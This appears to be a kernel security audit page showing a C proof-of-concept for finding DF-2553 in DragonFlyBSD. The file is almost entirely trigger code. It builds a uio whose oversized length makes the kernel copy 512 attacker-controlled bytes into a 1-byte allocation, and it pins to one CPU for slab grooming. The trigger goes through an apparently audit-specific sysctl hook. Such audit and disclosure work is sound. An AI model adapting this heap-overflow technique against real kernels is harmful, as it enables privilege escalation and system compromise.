⬢ DragonFlyBSD Kernel Audit
DF-2553 / df2553_trigger.c
← back to finding ↓ download raw
/*
 * df2553_trigger.c -- DF-2553 userland trigger (run as root on the guest).
 *
 * Builds the userspace side of the fabricated uio:
 *   mode 0: iov0 = 256 pattern bytes (control)
 *   mode 1: iov0 = 512 pattern bytes + iov1 = (4GiB - 512) at a
 *           PROT_NONE page  ->  uio_resid = 0x100000000
 *   mode 2: allocation-boundary negative control payload
 *
 * The 512 committed bytes are the attacker-controlled content that the
 * kernel copies into the 1-byte sbuf allocation.
 *
 * Pin to CPU 0 first (usched_set, syscall 481) so the kernel-side slab
 * grooming sees a single per-CPU allocator state.
 */

#include <sys/types.h>
#include <sys/mman.h>
#include <sys/sysctl.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct df2553_req {
	uint64_t	base0, len0;
	uint64_t	base1, len1;
	uint32_t	mode, pad;
};

#define PAT "DF2553PWN"

int
main(int argc, char **argv)
{
	struct df2553_req r;
	unsigned long mode = argc > 1 ? strtoul(argv[1], NULL, 0) : 1;
	char *buf0, *guard;
	size_t i;
	int cpu0 = 0;

	/* usched_set(0, USCHED_SET_CPU=1, &cpu, sizeof(int)) -- syscall 481 */
	if (syscall(481, 0, 1, &cpu0, sizeof(cpu0)) != 0)
		fprintf(stderr, "usched_set: %s (continuing unpinned)\n",
		    strerror(errno));

	memset(&r, 0, sizeof(r));
	r.mode = (uint32_t)mode;

	buf0 = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
	    MAP_ANON | MAP_PRIVATE, -1, 0);
	if (buf0 == MAP_FAILED) { perror("mmap buf0"); return (1); }
	guard = mmap(NULL, 4096, PROT_NONE, MAP_ANON | MAP_PRIVATE, -1, 0);
	if (guard == MAP_FAILED) { perror("mmap guard"); return (1); }

	if (mode == 1) {
		for (i = 0; i < 512; ++i)
			buf0[i] = PAT[i % 9];
		r.base0 = (uint64_t)(uintptr_t)buf0;
		r.len0  = 512;
		r.base1 = (uint64_t)(uintptr_t)guard;	/* faults instantly */
		r.len1  = 0x100000000ULL - 512;
	} else if (mode == 0) {
		for (i = 0; i < 256; ++i)
			buf0[i] = PAT[i % 9];
		r.base0 = (uint64_t)(uintptr_t)buf0;
		r.len0  = 256;
		r.base1 = 0;
		r.len1  = 0;
	} else {
		r.base0 = (uint64_t)(uintptr_t)buf0;
		r.len0  = 0;
		r.base1 = (uint64_t)(uintptr_t)guard;
		r.len1  = 0;
	}

	printf("trigger: mode=%lu uio_resid=%llu (0x%llx) "
	    "len0=%llu len1=%llu\n",
	    mode,
	    (unsigned long long)(r.len0 + r.len1),
	    (unsigned long long)(r.len0 + r.len1),
	    (unsigned long long)r.len0,
	    (unsigned long long)r.len1);

	if (sysctlbyname("kern.df2553_trigger", NULL, NULL,
	    &r, sizeof(r)) < 0) {
		perror("sysctlbyname kern.df2553_trigger");
		return (1);
	}
	printf("trigger: sysctl accepted; see dmesg for DF2553 lines\n");
	return (0);
}